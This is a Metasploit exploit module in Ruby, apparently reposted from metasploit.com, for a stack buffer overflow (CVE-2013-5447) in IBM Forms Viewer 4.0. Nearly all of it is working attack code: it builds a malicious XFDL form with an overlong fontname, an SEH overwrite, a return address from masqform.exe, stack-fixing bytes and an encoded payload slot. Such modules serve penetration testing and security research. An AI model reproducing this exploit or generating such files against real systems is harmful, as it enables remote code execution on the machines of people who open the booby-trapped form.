IBM Forms Viewer Unicode Buffer Overflow

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IBM Forms Viewer Unicode Buffer Overflow

来源：metasploit.com 作者：rgod 发布时间：2014-01-06

##

# This module requires Metasploit: http//metasploit.com/download

# Current source: https://github.com/rapid7/metasploit-framework

##

require 'msf/core'

require 'rexml/document'

class Metasploit3 < Msf::Exploit::Remote

Rank = NormalRanking

include REXML

include Msf::Exploit::FILEFORMAT

def initialize(info = {})

super(update_info(info,

'Name' => 'IBM Forms Viewer Unicode Buffer Overflow',

'Description' => %q{

This module exploits a stack-based buffer overflow in IBM Forms Viewer. The vulnerability

is due to a dangerous usage of strcpy-like function, and occurs while parsing malformed

XFDL files, with a long fontname value. This module has been tested successfully on IBM

Forms Viewer 4.0 on Windows XP SP3 and Windows 7 SP1.

},

'License' => MSF_LICENSE,

'Author' =>

[

'rgod <rgod[at]autistici.org>', # Vulnerability discovery

'juan vazquez', # Metasploit module

],

'References' =>

[

[ 'CVE', '2013-5447' ],

[ 'OSVDB', '100732' ],

[ 'ZDI', '13-274' ],

[ 'URL', 'http://www-01.ibm.com/support/docview.wss?uid=swg21657500' ],

],

'Payload' =>

{

'Space' => 3000,

'EncoderType' => Msf::Encoder::Type::AlphanumUnicodeMixed,

'EncoderOptions' =>

{

'BufferRegister' => 'ECX',

'BufferOffset' => 10

},

'BadChars' => (0x00..0x08).to_a.pack("C*") + (0x0b..0x1f).to_a.pack("C*") +"\x26\x3c" + (0x80..0xff).to_a.pack("C*"),

'DisableNops' => true,

# Fix the stack before the payload is executed, so we avoid

# windows exceptions due to alignment

'Prepend' =>

"\x64\xa1\x18\x00\x00\x00" + # mov eax, fs:[0x18]

"\x83\xC0\x08" + # add eax, byte 8

"\x8b\x20" + # mov esp, [eax]

"\x81\xC4\x30\xF8\xFF\xFF" # add esp, -2000

},

'Platform' => 'win',

'Targets' =>

[

[ 'IBM Forms Viewer 4.0 / Windows XP SP3 / Windows 7 SP1',

# masqform.exe 8.0.0.266

{

'Ret' => 0x4c30, # p/p/r unicode from masqform.exe

'Nop' => 0x47, # 004700 => add [edi+0x0],al

'Offset' => 62

}

]

],

'Privileged' => false,

'DisclosureDate' => 'Dec 05 2013',

'DefaultTarget' => 0))

register_options(

[

OptString.new('FILENAME', [ true, 'The file name.', 'msf.xfdl']),

], self.class)

end

def generate_xfdl

xml = Document.new

# XFDL

xfdl = xml.add_element("XFDL", {

'xmlns:custom' => "http://www.ibm.com/xmlns/prod/XFDL/Custom",

'xmlns:designer' => "http://www.ibm.com/xmlns/prod/workplace/forms/designer/2.6",

'xmlns:ev' => "http://www.w3.org/2001/xml-events",

'xmlns:xfdl' => "http://www.ibm.com/xmlns/prod/XFDL/7.5",

'xmlns:xforms' => "http://www.w3.org/2002/xforms",

'xmlns' => "http://www.ibm.com/xmlns/prod/XFDL/7.5",

'xmlns:xsd' => "http://www.w3.org/2001/XMLSchema",

'xmlns:xsi' => "http://www.w3.org/2001/XMLSchema-instance"

})

# XFDL => globalpage

xdfl_global_page = xfdl.add_element("globalpage", {

"sid" => "global"

})

global = xdfl_global_page.add_element("global", {

"sid" => "global"

})

designer_date = global.add_element("designer:date")

designer_date.text = "20060615"

form_id = global.add_element("formid")

form_id.add_element("title")

serial_number = form_id.add_element("serialnumber")

serial_number.text = "A6D5583E2AD0D54E:-72C430D4:10BD8923059:-8000"

version_form = form_id.add_element("version")

version_form.text = "1"

# XFDL => page

page = xfdl.add_element("page", {

"sid" => "PAGE1"

})

# XFDL => page => global

page_global = page.add_element("global", {

"sid" => "global"

})

label_page = page_global.add_element("label")

label_page.text = "PAGE1"

# XFDL => page => label

label = page.add_element("label", {

"sid" => "title"

})

item_location = label.add_element("itemlocation")

x = item_location.add_element("x")

x.text = "20"

y = item_location.add_element("y")

y.text = "0"

value = label.add_element("value", {

"compute" => "global.global.custom:formTitle"

})

value.text = rand_text_alpha(10)

font_info = label.add_element("fontinfo")

font_name = font_info.add_element("fontname")

font_name.text = "MSF_REPLACE"

xml.to_s

end

def exploit

sploit = rand_text_alpha(target['Offset'])

sploit << "\x61\x62" # nseh # NSEH # popad (61) + nop compatible with unicode (add [edx+0x0],ah # 006200)

sploit << [target.ret].pack("v") # seh # ppr

sploit << [target['Nop']].pack("C")

sploit << payload.encoded

sploit << rand_text_alpha(4096) # make it crash

xfdl = generate_xfdl.gsub(/MSF_REPLACE/, sploit) # To avoid rexml html encoding

print_status("Creating '#{datastore['FILENAME']}' file ...")

file_create(xfdl)

end

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